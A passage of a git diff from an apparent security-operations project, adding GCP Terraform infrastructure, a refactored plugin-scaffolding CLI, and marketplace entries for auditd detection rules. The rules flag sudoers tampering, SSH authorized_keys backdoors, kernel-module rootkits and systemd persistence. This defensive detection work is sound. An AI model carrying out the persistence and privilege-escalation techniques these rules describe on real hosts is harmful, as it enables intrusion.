key; we generate it here so a+ # `terraform destroy` followed by `terraform apply` rotates the vault key+ # cleanly. Operators who need rotation-without-rewrap should set this via+ # AISOC_CREDENTIAL_KEY_ROTATION_FROM in app config.+ length = 32+ special = false+ min_lower = 1+ min_upper = 1+ min_numeric = 1+}++# ─── Secret Manager secrets ──────────────────────────────────────────────────++resource "google_secret_manager_secret" "postgres_password" {+ secret_id = "${var.name_prefix}-postgres-password"+ labels = var.labels++ replication {+ auto {}+ }++ depends_on = [google_project_service.enabled]+}++resource "google_secret_manager_secret_version" "postgres_password" {+ secret = google_secret_manager_secret.postgres_password.id+ secret_data = random_password.postgres_user.result+}++resource "google_secret_manager_secret" "secret_key" {+ secret_id = "${var.name_prefix}-secret-key"+ labels = var.labels++ replication {+ auto {}+ }++ depends_on = [google_project_service.enabled]+}++resource "google_secret_manager_secret_version" "secret_key" {+ secret = google_secret_manager_secret.secret_key.id+ secret_data = random_password.secret_key.result+}++resource "google_secret_manager_secret" "credential_key" {+ secret_id = "${var.name_prefix}-credential-key"+ labels = var.labels++ replication {+ auto {}+ }++ depends_on = [google_project_service.enabled]+}++resource "google_secret_manager_secret_version" "credential_key" {+ secret = google_secret_manager_secret.credential_key.id+ secret_data = base64encode(random_password.credential_key.result)+}++resource "google_secret_manager_secret" "redis_auth" {+ secret_id = "${var.name_prefix}-redis-auth"+ labels = var.labels++ replication {+ auto {}+ }++ depends_on = [google_project_service.enabled]+}++resource "google_secret_manager_secret_version" "redis_auth" {+ secret = google_secret_manager_secret.redis_auth.id+ secret_data = google_redis_instance.main.auth_string+}++# ─── Optional: OpenAI key ────────────────────────────────────────────────────+# Only created when var.openai_api_key is non-empty so an air-gapped install+# (Ollama / LiteLLM overlay) doesn't have to invent a placeholder secret.++resource "google_secret_manager_secret" "openai_api_key" {+ count = var.openai_api_key == "" ? 0 : 1++ secret_id = "${var.name_prefix}-openai-api-key"+ labels = var.labels++ replication {+ auto {}+ }++ depends_on = [google_project_service.enabled]+}++resource "google_secret_manager_secret_version" "openai_api_key" {+ count = var.openai_api_key == "" ? 0 : 1++ secret = google_secret_manager_secret.openai_api_key[0].id+ secret_data = var.openai_api_key+}diff --git a/infra/terraform/gcp/terraform.tfvars.example b/infra/terraform/gcp/terraform.tfvars.examplenew file mode 100644index 000000000..d1ad66bfe--- /dev/null+++ b/infra/terraform/gcp/terraform.tfvars.example@@ -0,0 +1,72 @@+# AiSOC — GCP serverless skeleton+#+# Copy this file to `terraform.tfvars` and fill in at least `project_id`.+# Every other variable has a sensible default for a startup-credit-friendly+# demo deployment.++# ─── Required ────────────────────────────────────────────────────────────────++project_id = "your-gcp-project-id"++# ─── Region / naming ─────────────────────────────────────────────────────────++# region = "us-central1"+# name_prefix = "aisoc"++# labels = {+# project = "aisoc"+# managed_by = "terraform"+# env = "demo"+# }++# ─── Networking ──────────────────────────────────────────────────────────────++# vpc_cidr = "10.20.0.0/24"+# vpc_connector_cidr = "10.20.1.0/28"++# ─── Cloud SQL ───────────────────────────────────────────────────────────────++# postgres_tier = "db-custom-2-7680"+# postgres_version = "POSTGRES_16"+# postgres_disk_size_gb = 20+# postgres_db_name = "aisoc"+# postgres_user = "aisoc"+# deletion_protection = true # set false for sandboxes you intend to destroy++# ─── Memorystore ─────────────────────────────────────────────────────────────++# redis_tier = "BASIC" # or STANDARD_HA for production+# redis_memory_size_gb = 1+# redis_version = "REDIS_7_2"++# ─── Cloud Run images ────────────────────────────────────────────────────────+#+# Defaults point at the public GHCR demo images so the skeleton runs with+# zero CI work. Override with images from the Artifact Registry repo this+# stack provisions for production.++# api_image = "ghcr.io/beenuar/aisoc-api:latest"+# web_image = "ghcr.io/beenuar/aisoc-web:latest"+# ingest_image = "ghcr.io/beenuar/aisoc-ingest:latest"++# ─── Cloud Run scaling ───────────────────────────────────────────────────────++# api_min_instances = 0 # >0 to avoid cold starts+# api_max_instances = 10+# web_max_instances = 5+# ingest_max_instances = 5++# ─── Access ──────────────────────────────────────────────────────────────────++# allow_unauthenticated = true # flip to false for IAP / private deploy+# cors_origins = "https://app.example.com,https://demo.example.com"++# ─── Optional: agents / OpenAI ───────────────────────────────────────────────+#+# When set, an OPENAI_API_KEY secret is provisioned and mounted into the API+# service. Leave blank for the air-gapped (Ollama / LiteLLM) configuration.+#+# Pass on the CLI to keep it out of disk:+# terraform apply -var "openai_api_key=$OPENAI_API_KEY"++# openai_api_key = ""diff --git a/infra/terraform/gcp/variables.tf b/infra/terraform/gcp/variables.tfnew file mode 100644index 000000000..3ed748caf--- /dev/null+++ b/infra/terraform/gcp/variables.tf@@ -0,0 +1,172 @@+/**+ * AiSOC — GCP serverless skeleton+ *+ * Input variables. Defaults aim for "smallest viable AiSOC" so a `terraform+ * apply` against a fresh project produces a working stack inside the GCP+ * always-free / startup-credit envelope, not a five-figure surprise.+ */++# ─── Project / region ────────────────────────────────────────────────────────++variable "project_id" {+ description = "GCP project ID that will own every resource in this stack."+ type = string+}++variable "region" {+ description = "Primary GCP region for Cloud Run, Cloud SQL, and Memorystore."+ type = string+ default = "us-central1"+}++variable "name_prefix" {+ description = "Prefix used for resource names (Cloud Run services, SQL instance, etc.)."+ type = string+ default = "aisoc"+}++variable "labels" {+ description = "Common labels applied to every label-supporting resource."+ type = map(string)+ default = {+ project = "aisoc"+ managed_by = "terraform"+ }+}++# ─── Networking ──────────────────────────────────────────────────────────────++variable "vpc_cidr" {+ description = "Primary subnet CIDR for the Cloud Run egress / Cloud SQL VPC."+ type = string+ default = "10.20.0.0/24"+}++variable "vpc_connector_cidr" {+ description = "/28 CIDR carved out for the Serverless VPC Access connector."+ type = string+ default = "10.20.1.0/28"+}++# ─── Cloud SQL (Postgres) ────────────────────────────────────────────────────++variable "postgres_tier" {+ description = "Cloud SQL machine tier. db-f1-micro is the cheapest dev tier; use db-custom-* for prod."+ type = string+ default = "db-custom-2-7680"+}++variable "postgres_version" {+ description = "Cloud SQL Postgres version."+ type = string+ default = "POSTGRES_16"+}++variable "postgres_disk_size_gb" {+ description = "Initial Cloud SQL disk size in GB. Auto-resize is enabled regardless."+ type = number+ default = 20+}++variable "postgres_db_name" {+ description = "Logical Postgres database name created inside the instance."+ type = string+ default = "aisoc"+}++variable "postgres_user" {+ description = "Application Postgres user."+ type = string+ default = "aisoc"+}++variable "deletion_protection" {+ description = "When true, prevents `terraform destroy` from deleting Cloud SQL. Set false for dev."+ type = bool+ default = true+}++# ─── Memorystore (Redis) ─────────────────────────────────────────────────────++variable "redis_tier" {+ description = "Memorystore tier — BASIC for dev (no HA), STANDARD_HA for prod."+ type = string+ default = "BASIC"+}++variable "redis_memory_size_gb" {+ description = "Memorystore memory size in GB."+ type = number+ default = 1+}++variable "redis_version" {+ description = "Memorystore Redis version."+ type = string+ default = "REDIS_7_2"+}++# ─── Cloud Run services ──────────────────────────────────────────────────────++variable "api_image" {+ description = "Container image for the API service (FastAPI). Defaults to the GHCR demo image."+ type = string+ default = "ghcr.io/beenuar/aisoc-api:latest"+}++variable "web_image" {+ description = "Container image for the web service (Next.js)."+ type = string+ default = "ghcr.io/beenuar/aisoc-web:latest"+}++variable "ingest_image" {+ description = "Container image for the ingest service (Go)."+ type = string+ default = "ghcr.io/beenuar/aisoc-ingest:latest"+}++variable "api_min_instances" {+ description = "Minimum Cloud Run instances for the API. Set >0 to avoid cold starts."+ type = number+ default = 0+}++variable "api_max_instances" {+ description = "Maximum Cloud Run instances for the API."+ type = number+ default = 10+}++variable "web_max_instances" {+ description = "Maximum Cloud Run instances for the web app."+ type = number+ default = 5+}++variable "ingest_max_instances" {+ description = "Maximum Cloud Run instances for the ingest service."+ type = number+ default = 5+}++variable "allow_unauthenticated" {+ description = "When true, exposes Cloud Run services to the public internet (allUsers)."+ type = bool+ default = true+}++variable "cors_origins" {+ description = "Comma-separated CORS allow-list passed to the API service."+ type = string+ default = ""+}++# ─── OpenAI / agents ─────────────────────────────────────────────────────────++variable "openai_api_key" {+ description = "Optional OpenAI API key persisted to Secret Manager. Leave blank to skip."+ type = string+ default = ""+ sensitive = true+}diff --git a/infra/terraform/gcp/versions.tf b/infra/terraform/gcp/versions.tfnew file mode 100644index 000000000..750388a01--- /dev/null+++ b/infra/terraform/gcp/versions.tf@@ -0,0 +1,43 @@+/**+ * AiSOC — GCP serverless skeleton+ *+ * Provider pinning. Tested against Terraform 1.5+ and the 5.x google+ * providers. Bump in lockstep when google releases new resource types we+ * need (Cloud SQL Postgres 16, Memorystore for Redis 7.2, Cloud Run v2).+ */++terraform {+ required_version = ">= 1.5"++ required_providers {+ google = {+ source = "hashicorp/google"+ version = "~> 5.40"+ }+ google-beta = {+ source = "hashicorp/google-beta"+ version = "~> 5.40"+ }+ random = {+ source = "hashicorp/random"+ version = "~> 3.6"+ }+ }++ # State backend left intentionally unconfigured. Pick one of:+ #+ # backend "gcs" { bucket = "aisoc-tfstate-<project-id>" prefix = "gcp" }+ # backend "local" {}+ #+ # …and bootstrap the bucket once per project before `terraform init`.+}++provider "google" {+ project = var.project_id+ region = var.region+}++provider "google-beta" {+ project = var.project_id+ region = var.region+}diff --git a/marketplace/curated.json b/marketplace/curated.jsonindex 0a74b7060..af365dc51 100644--- a/marketplace/curated.json+++ b/marketplace/curated.json@@ -1,15 +1,15 @@{"$schema": "https://aisoc.example.com/schemas/curated/v1.json","version": "1.0.0",- "generated": "2026-05-12T20:53:01Z",+ "generated": "2026-05-12T21:04:22Z","stats": {- "considered": 1048,- "eligible": 1044,+ "considered": 1052,+ "eligible": 1048,"selected": 416,"min_per_family": 25,"min_total": 300,"quality_floor": 0.55,- "unique_techniques": 117,+ "unique_techniques": 118,"selected_by_tier": {"imported": 42,"native": 374@@ -25,8 +25,8 @@"application": 29,"cloud": 164,"data-exfil": 20,- "endpoint": 115,- "identity": 75,+ "endpoint": 117,+ "identity": 73,"network": 12}},@@ -89,7 +89,7 @@},"credential-access": {"label": "Credential Access",- "count": 83,+ "count": 84,"rule_ids": ["det-application-004","det-application-008",@@ -118,6 +118,7 @@"det-endpoint-141","det-endpoint-267","det-endpoint-272",+ "det-endpoint-302","det-identity-001","det-identity-003","det-identity-010",@@ -449,6 +450,8 @@"det-endpoint-264","det-endpoint-265","det-endpoint-300",+ "det-endpoint-301",+ "det-endpoint-302","det-identity-001","det-identity-002","det-identity-003",@@ -456,8 +459,6 @@"det-identity-006","det-identity-008","det-identity-009",- "det-identity-011",- "det-identity-012","det-identity-020","det-identity-021","det-identity-027",@@ -649,15 +650,15 @@"T1070": 4,"T1071.001": 1,"T1078": 16,- "T1078.001": 2,- "T1078.004": 27,+ "T1078.001": 1,+ "T1078.004": 26,"T1082": 1,"T1087": 1,"T1087.004": 1,- "T1098": 15,+ "T1098": 16,"T1098.001": 13,"T1098.003": 7,- "T1098.004": 5,+ "T1098.004": 6,"T1098.007": 1,"T1105": 1,"T1110": 7,@@ -692,6 +693,7 @@"T1537": 10,"T1539": 2,"T1543": 1,+ "T1548.003": 1,"T1550": 4,"T1550.003": 1,"T1552": 2,@@ -701,7 +703,7 @@"T1554": 1,"T1555": 2,"T1555.005": 1,- "T1556": 38,+ "T1556": 39,"T1556.001": 1,"T1556.006": 5,"T1556.007": 1,@@ -8146,6 +8148,59 @@"log_source_product": "osquery","has_executable_body": true},+ {+ "id": "det-endpoint-301",+ "name": "Sudoers Tampering Via auditd Watch",+ "path": "detections/endpoint/linux-auditd-sudoers-tampering.yaml",+ "tier": "native",+ "source": "core",+ "category": "endpoint",+ "severity": "high",+ "mitre_techniques": [+ "T1548.003",+ "T1098"+ ],+ "mitre_tactics": [],+ "families": [+ "identity"+ ],+ "quality_score": 0.977,+ "quality_notes": [+ "tier:native(+0.5)",+ "mitre_techniques:2(+0.2)",+ "severity:high(+0.128)",+ "executable(+0.15)"+ ],+ "log_source_product": "linux",+ "has_executable_body": true+ },+ {+ "id": "det-endpoint-302",+ "name": "SSH Config Or Authorized Keys Tampering Via auditd Watch",+ "path": "detections/endpoint/linux-auditd-ssh-config-tampering.yaml",+ "tier": "native",+ "source": "core",+ "category": "endpoint",+ "severity": "high",+ "mitre_techniques": [+ "T1098.004",+ "T1556"+ ],+ "mitre_tactics": [],+ "families": [+ "credential-access",+ "identity"+ ],+ "quality_score": 0.977,+ "quality_notes": [+ "tier:native(+0.5)",+ "mitre_techniques:2(+0.2)",+ "severity:high(+0.128)",+ "executable(+0.15)"+ ],+ "log_source_product": "linux",+ "has_executable_body": true+ },{"id": "det-identity-001","name": "Authentication Brute-Force Burst",@@ -8357,57 +8412,6 @@"log_source_product": "okta","has_executable_body": true},- {- "id": "det-identity-011",- "name": "Service Account Used for Interactive Login",- "path": "detections/identity/service-account-interactive-login.yaml",- "tier": "native",- "source": "core",- "category": "identity",- "severity": "high",- "mitre_techniques": [- "T1078.004"- ],- "mitre_tactics": [],- "families": [- "cloud",- "identity"- ],- "quality_score": 0.977,- "quality_notes": [- "tier:native(+0.5)",- "mitre_techniques:1(+0.2)",- "severity:high(+0.128)",- "executable(+0.15)"- ],- "log_source_product": "okta",- "has_executable_body": true- },- {- "id": "det-identity-012",- "name": "Root SSH Login on Production Host",- "path": "detections/identity/root-ssh-login.yaml",- "tier": "native",- "source": "core",- "category": "identity",- "severity": "high",- "mitre_techniques": [- "T1078.001"- ],- "mitre_tactics": [],- "families": [- "identity"- ],- "quality_score": 0.977,- "quality_notes": [- "tier:native(+0.5)",- "mitre_techniques:1(+0.2)",- "severity:high(+0.128)",- "executable(+0.15)"- ],- "log_source_product": "linux",- "has_executable_body": true- },{"id": "det-identity-020","name": "Kubernetes ClusterRoleBinding to cluster-admin",diff --git a/marketplace/index.json b/marketplace/index.jsonindex 7439d22b5..e244bcead 100644--- a/marketplace/index.json+++ b/marketplace/index.json@@ -1,7 +1,7 @@{"$schema": "https://example.com/schemas/marketplace/v1.json","version": "1.0.0",- "generated": "2026-05-12T20:53:00Z",+ "generated": "2026-05-12T21:04:21Z","categories": [{"id": "playbooks",@@ -20,22 +20,22 @@}],"stats": {- "total": 7105,+ "total": 7111,"playbooks": 62,- "detections": 6994,- "plugins": 49,- "verified": 985,+ "detections": 6998,+ "plugins": 51,+ "verified": 990,"community": 1,"by_tier": {- "beta": 6,+ "beta": 7,"community": 1,"imported": 6113,- "stable": 985+ "stable": 990},"detections_by_tier": {"community": 1,"imported": 6113,- "stable": 880+ "stable": 884},"quarantined": 5921},@@ -57,7 +57,7 @@"T1010": 2,"T1011": 1,"T1012": 24,- "T1014": 7,+ "T1014": 8,"T1016": 20,"T1016.001": 1,"T1018": 42,@@ -115,7 +115,7 @@"T1053.002": 12,"T1053.003": 21,"T1053.005": 58,- "T1053.006": 5,+ "T1053.006": 6,"T1053.007": 2,"T1055": 56,"T1055.001": 11,@@ -179,11 +179,11 @@"T1090.003": 11,"T1091": 5,"T1095": 8,- "T1098": 87,+ "T1098": 88,"T1098.001": 26,"T1098.002": 6,"T1098.003": 34,- "T1098.004": 11,+ "T1098.004": 12,"T1098.005": 7,"T1098.007": 1,"T1102": 17,@@ -330,7 +330,7 @@"T1542.005": 1,"T1543": 25,"T1543.001": 8,- "T1543.002": 4,+ "T1543.002": 5,"T1543.003": 60,"T1543.004": 4,"T1546": 15,@@ -353,7 +353,7 @@"T1547.003": 2,"T1547.004": 4,"T1547.005": 4,- "T1547.006": 15,+ "T1547.006": 16,"T1547.008": 2,"T1547.009": 4,"T1547.010": 6,@@ -363,7 +363,7 @@"T1548": 34,"T1548.001": 12,"T1548.002": 76,- "T1548.003": 38,+ "T1548.003": 39,"T1548.004": 1,"T1550": 13,"T1550.001": 4,@@ -390,7 +390,7 @@"T1555.003": 15,"T1555.004": 6,"T1555.005": 5,- "T1556": 71,+ "T1556": 72,"T1556.001": 1,"T1556.002": 3,"T1556.003": 1,@@ -536,7 +536,7 @@"T1690": 1},"unique_techniques": 493,- "total_with_mitre": 5778,+ "total_with_mitre": 5782,"by_tier": {"community": {"T1078.004": 1@@ -549,7 +549,7 @@"T1003.006": 3,"T1003.008": 2,"T1011": 1,- "T1014": 1,+ "T1014": 2,"T1018": 5,"T1020": 2,"T1021": 1,@@ -575,7 +575,7 @@"T1053.001": 1,"T1053.003": 5,"T1053.005": 4,- "T1053.006": 1,+ "T1053.006": 2,"T1055": 2,"T1055.001": 1,"T1055.012": 1,@@ -607,10 +607,10 @@"T1090": 3,"T1090.003": 6,"T1095": 3,- "T1098": 28,+ "T1098": 29,"T1098.001": 21,"T1098.003": 8,- "T1098.004": 7,+ "T1098.004": 8,"T1098.007": 1,"T1105": 3,"T1110": 9,@@ -675,7 +675,7 @@"T1542.001": 1,"T1543": 1,"T1543.001": 4,- "T1543.002": 2,+ "T1543.002": 3,"T1543.003": 3,"T1543.004": 2,"T1546.002": 1,@@ -690,13 +690,13 @@"T1547.001": 4,"T1547.004": 1,"T1547.005": 2,- "T1547.006": 5,+ "T1547.006": 6,"T1547.010": 1,"T1547.015": 2,"T1548": 1,"T1548.001": 6,"T1548.002": 4,- "T1548.003": 2,+ "T1548.003": 3,"T1548.004": 1,"T1550": 3,"T1550.002": 2,@@ -717,7 +717,7 @@"T1555.003": 3,"T1555.004": 1,"T1555.005": 1,- "T1556": 40,+ "T1556": 41,"T1556.001": 1,"T1556.003": 1,"T1556.004": 1,@@ -42841,6 +42841,102 @@"enabled": true,"path": "detections/endpoint/fim-ssh-authorized-keys-changed.yaml"},+ {+ "id": "det-endpoint-301",+ "type": "detection",+ "name": "Sudoers Tampering Via auditd Watch",+ "description": "Triggers when the AiSOC auditd profile (profiles/auditd/aisoc.rules)\nrecords a write to /etc/sudoers or any file under /etc/sudoers.d/.\nPivots on the auditd_key field exposed by services/connectors/app/connectors/auditd.py\nso the rule fires regardless of which syscall (open, openat, rename, etc.)\nproduced the event. Sudoers changes are extremely high-signal in steady-state\nand are the most reliable indicator of attacker-driven privilege escalation\nshort of a full root shell.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1548.003",+ "T1098"+ ],+ "log_source": "linux",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "tier": "stable",+ "enabled": true,+ "path": "detections/endpoint/linux-auditd-sudoers-tampering.yaml"+ },+ {+ "id": "det-endpoint-302",+ "type": "detection",+ "name": "SSH Config Or Authorized Keys Tampering Via auditd Watch",+ "description": "Triggers when the AiSOC auditd profile records a write to /etc/ssh/sshd_config,\n/etc/ssh/sshd_config.d/, or /root/.ssh/authorized_keys. Pivots on the\nauditd_key field so the rule fires for any modify-class syscall (open, openat,\nrename, link, unlink) without needing a per-syscall companion rule.\nSSH config + root authorized_keys are the two most common backdoor footholds\non Linux servers; production hosts should see zero modifications outside of\nconfig-management runs.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1098.004",+ "T1556"+ ],+ "log_source": "linux",+ "playbook": "tpl-persistence",+ "verified": true,+ "source": "core",+ "tier": "stable",+ "enabled": true,+ "path": "detections/endpoint/linux-auditd-ssh-config-tampering.yaml"+ },+ {+ "id": "det-endpoint-303",+ "type": "detection",+ "name": "Kernel Module Load Or Unload Via auditd Watch",+ "description": "Triggers when the AiSOC auditd profile records init_module / finit_module /\ndelete_module syscalls or execution of /sbin/insmod, /sbin/rmmod, /sbin/modprobe.\nPivots on auditd_key so the rule fires regardless of how the kernel module\nprimitive was invoked. Loadable kernel modules are the standard delivery\nvehicle for Linux rootkits (Diamorphine, Reptile, Symbiote, etc.); legitimate\nmodule loads are dominated by boot-time systemd-modules-load.service and\nfilesystem drivers and should be easy to allowlist by parent process.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "endpoint",+ "mitre_techniques": [+ "T1547.006",+ "T1014"+ ],+ "log_source": "linux",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "tier": "stable",+ "enabled": true,+ "path": "detections/endpoint/linux-auditd-kernel-module-load.yaml"+ },+ {+ "id": "det-endpoint-304",+ "type": "detection",+ "name": "Systemd Unit Persistence Via auditd Watch",+ "description": "Triggers when the AiSOC auditd profile records a write under\n/etc/systemd/system/ or /lib/systemd/system/. Pivots on auditd_key so the\nrule fires for any modify-class syscall on a unit file without a per-syscall\ncompanion rule. Dropping a .service or .timer file under these directories is\nthe canonical Linux persistence technique post-foothold; legitimate writes\nare dominated by package managers and configuration-management agents and\nshould be straightforward to allowlist.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "endpoint",+ "mitre_techniques": [+ "T1543.002",+ "T1053.006"+ ],+ "log_source": "linux",+ "playbook": "tpl-persistence",+ "verified": true,+ "source": "core",+ "tier": "stable",+ "enabled": true,+ "path": "detections/endpoint/linux-auditd-systemd-persistence.yaml"+ },{"id": "det-identity-001","type": "detection",@@ -223894,6 +223990,25 @@"tier": "beta","path": "plugins/aisoc-direct/plugin.yaml"},+ {+ "id": "auditd",+ "type": "plugin",+ "name": "Linux Auditd",+ "description": "Linux ``auditd`` connector \u2014 file_tail mode, no host-agent dependency. Tails ``/var/log/audit/audit.log`` forward from a saved byte cursor, reassembles multi-record auditd events (SYSCALL + EXECVE + PATH + CWD + PROCTITLE) into flat normalised documents, and feeds the same ``syscall`` / ``exe`` / ``argv`` / ``path`` / ``actor_uid`` / ``auditd_key`` primitives that detection content under ``detections/endpoint/linux-*.yaml`` pivots on. Ship the AiSOC ``audit.rules`` profile (``profiles/auditd/aisoc.rules``) for full coverage; rules with ``aisoc_*`` keys auto-bucket into AiSOC's four-tier severity ladder.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [],+ "plugin_type": null,+ "license": "MIT",+ "homepage": "https://github.com/linux-audit/audit-userspace",+ "min_aisoc_version": null,+ "sdks": [],+ "mitre_techniques": [],+ "verified": false,+ "source": "core",+ "tier": "beta",+ "path": "plugins/auditd/plugin.yaml"+ },{"id": "auth0","type": "plugin",@@ -225093,6 +225208,32 @@"tier": "stable","path": "plugins/twilio-sms/plugin.yaml"},+ {+ "id": "wazuh",+ "type": "plugin",+ "name": "Wazuh Connector",+ "description": "Wazuh \u2014 open-source XDR/SIEM. Pulls alerts from the Wazuh indexer (OpenSearch-compatible) above a configurable rule-level threshold and collapses the 0-15 rule-level ladder onto AiSOC's four-tier severity taxonomy (info | low | medium | high) so detection and fusion logic stays vendor-agnostic.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "siem",+ "xdr",+ "wazuh",+ "opensource",+ "hids",+ "fim"+ ],+ "plugin_type": "connector",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/wazuh.py",+ "min_aisoc_version": "4.0.0",+ "sdks": [],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "tier": "stable",+ "path": "plugins/wazuh/plugin.yaml"+ },{"id": "yara-enricher","type": "plugin",diff --git a/packages/aisoc-cli/pyproject.toml b/packages/aisoc-cli/pyproject.tomlindex eaf05d39b..db2a2744d 100644--- a/packages/aisoc-cli/pyproject.toml+++ b/packages/aisoc-cli/pyproject.toml@@ -51,6 +51,18 @@ Repository = "https://github.com/beenuar/AiSOC"[tool.hatch.build.targets.wheel]packages = ["src/aisoc_cli"]+[tool.hatch.build.targets.wheel.force-include]+"src/aisoc_cli/templates" = "aisoc_cli/templates"++[tool.hatch.build.targets.sdist]+include = [+ "src/aisoc_cli",+ "tests",+ "README.md",+ "LICENSE",+ "pyproject.toml",+]+[tool.ruff]line-length = 100target-version = "py311"diff --git a/packages/aisoc-cli/src/aisoc_cli/main.py b/packages/aisoc-cli/src/aisoc_cli/main.pyindex 6e3d1f598..ddbfb8c24 100644--- a/packages/aisoc-cli/src/aisoc_cli/main.py+++ b/packages/aisoc-cli/src/aisoc_cli/main.py@@ -2,7 +2,8 @@AiSOC CLI — scaffold, validate, and publish plugins and detections.Commands:- aisoc plugin scaffold <name> Generate plugin.yaml + plugin.py skeleton+ aisoc plugin new <name> Scaffold a typed plugin from disk templates+ aisoc plugin scaffold <name> Alias for `plugin new` (backwards compat)aisoc plugin validate [path] Validate plugin.yaml against JSON Schemaaisoc plugin publish [path] Sign with Ed25519 key + POST to AiSOC APIaisoc detection validate <file> Validate Sigma rule syntax@@ -13,7 +14,9 @@ from __future__ import annotationsimport base64import jsonimport sys+from importlib import resourcesfrom pathlib import Path+from string import Templatefrom typing import Anyimport click@@ -30,6 +33,9 @@ from rich.table import Tableconsole = Console()+PLUGIN_TYPES = ("enricher", "connector", "responder", "detection", "widget")+DEFAULT_AUTHOR = "Your Name <[email protected]>"+# ── Schemas ───────────────────────────────────────────────────────────────────PLUGIN_MANIFEST_SCHEMA: dict[str, Any] = {@@ -55,57 +61,45 @@ PLUGIN_MANIFEST_SCHEMA: dict[str, Any] = {"additionalProperties": True,}-# ── Plugin skeleton templates ─────────────────────────────────────────────────--PLUGIN_YAML_TEMPLATE = """\-id: {slug}-name: {name}-version: 0.1.0-plugin_type: enricher-description: "Short description of what {name} does"-author: "Your Name <[email protected]>"-tags: []-min_aisoc_version: "4.0.0"-runtime: python-entry_point: plugin.py-config_schema:- type: object- properties: {{}}-"""+# ── Template loading ──────────────────────────────────────────────────────────-PLUGIN_PY_TEMPLATE = '''\-"""-{name} plugin for AiSOC.-Plugin type: enricher-"""-from __future__ import annotations--from typing import Any+def _templates_root() -> Path:+ """Return the on-disk root of the bundled templates directory.+ Uses ``importlib.resources`` so this works whether the package is run from+ a source checkout or installed into site-packages.+ """+ pkg_files = resources.files("aisoc_cli") / "templates"+ return Path(str(pkg_files))-class Plugin:- """Main plugin class — AiSOC calls run() for enrichers."""- def __init__(self, config: dict[str, Any]) -> None:- self.config = config+def _render_templates(plugin_type: str, target: Path, substitutions: dict[str, str]) -> list[Path]:+ """Render every ``*.tmpl`` file under ``templates/<plugin_type>/`` into ``target``.- async def run(self, payload: dict[str, Any], context: dict[str, Any]) -> dict[str, Any]:- """Enrich the alert/event payload.-- Args:- payload: The alert or event data to enrich.- context: Runtime context (tenant_id, trace_id, etc.)+ The directory layout under the template root is preserved verbatim. Each+ ``foo.ext.tmpl`` becomes ``foo.ext`` in the output, with ``$slug``,+ ``$name``, and ``$author`` substituted via ``string.Template`` (so we never+ fight Python ``.format()`` over real curly braces in YAML/JSON).+ """+ root = _templates_root() / plugin_type+ if not root.is_dir():+ raise click.ClickException(+ f"No templates bundled for plugin_type='{plugin_type}'. "+ f"Expected directory: {root}"+ )- Returns:- Enriched data to merge back into the payload.- """- # TODO: implement enrichment logic- return {{- "enriched_by": "{slug}",- "data": {{}},- }}-'''+ written: list[Path] = []+ for src in sorted(root.rglob("*.tmpl")):+ rel = src.relative_to(root)+ # Strip the trailing ".tmpl" suffix from the filename only.+ out_rel = rel.with_name(rel.name[: -len(".tmpl")])+ out_path = target / out_rel+ out_path.parent.mkdir(parents=True, exist_ok=True)+ rendered = Template(src.read_text()).safe_substitute(substitutions)+ out_path.write_text(rendered)+ written.append(out_path)+ return written# ── CLI root ──────────────────────────────────────────────────────────────────@@ -123,18 +117,13 @@ def plugin() -> None:"""Plugin management commands."""[email protected]("scaffold")[email protected]("name")[email protected]("--output-dir", "-o", default=".", help="Directory to create plugin in")- "--type",- "plugin_type",- default="enricher",- type=click.Choice(["enricher", "connector", "responder", "detection", "widget"]),- help="Plugin type",-)-def plugin_scaffold(name: str, output_dir: str, plugin_type: str) -> None:- """Scaffold a new plugin skeleton with plugin.yaml + plugin.py."""+def _scaffold_plugin(name: str, output_dir: str, plugin_type: str, author: str) -> Path:+ """Shared implementation for ``plugin new`` and ``plugin scaffold``."""+ if plugin_type not in PLUGIN_TYPES:+ raise click.ClickException(+ f"Unknown plugin_type='{plugin_type}'. Expected one of: {', '.join(PLUGIN_TYPES)}"+ )+slug = name.lower().replace(" ", "-").replace("_", "-")out = Path(output_dir) / slugif out.exists():@@ -142,27 +131,64 @@ def plugin_scaffold(name: str, output_dir: str, plugin_type: str) -> None:sys.exit(1)out.mkdir(parents=True)- yaml_content = PLUGIN_YAML_TEMPLATE.format(slug=slug, name=name).replace(- "enricher", plugin_type, 1- )- (out / "plugin.yaml").write_text(yaml_content)-- py_content = PLUGIN_PY_TEMPLATE.format(slug=slug, name=name)- (out / "plugin.py").write_text(py_content)+ substitutions = {"slug": slug, "name": name, "author": author}+ written = _render_templates(plugin_type, out, substitutions)+ files_listing = "\n".join(f" • {p}" for p in written)console.print(Panel(- f"[green]Plugin scaffolded at[/green] [bold]{out}[/bold]\n\n"- f"Files created:\n"- f" • {out}/plugin.yaml\n"- f" • {out}/plugin.py\n\n"+ f"[green]{plugin_type.capitalize()} plugin scaffolded at[/green] [bold]{out}[/bold]\n\n"+ f"Files created:\n{files_listing}\n\n"f"Next steps:\n"f" 1. Edit [bold]{out}/plugin.yaml[/bold] to fill in metadata\n"- f" 2. Implement [bold]{out}/plugin.py[/bold]\n"+ f" 2. Implement the entry point referenced by [bold]plugin.yaml[/bold]\n"f" 3. Run [bold]aisoc plugin validate {out}[/bold] to check",title="[bold green]Scaffold complete[/bold green]",))+ return out++[email protected]("new")[email protected]("name")[email protected]("--output-dir", "-o", default=".", help="Directory to create plugin in")+ "--type",+ "plugin_type",+ default="enricher",+ type=click.Choice(list(PLUGIN_TYPES)),+ help="Plugin type",+)+ "--author",+ default=DEFAULT_AUTHOR,+ show_default=True,+ help="Author string written into plugin.yaml",+)+def plugin_new(name: str, output_dir: str, plugin_type: str, author: str) -> None:+ """Scaffold a new plugin from the bundled templates for its type."""+ _scaffold_plugin(name, output_dir, plugin_type, 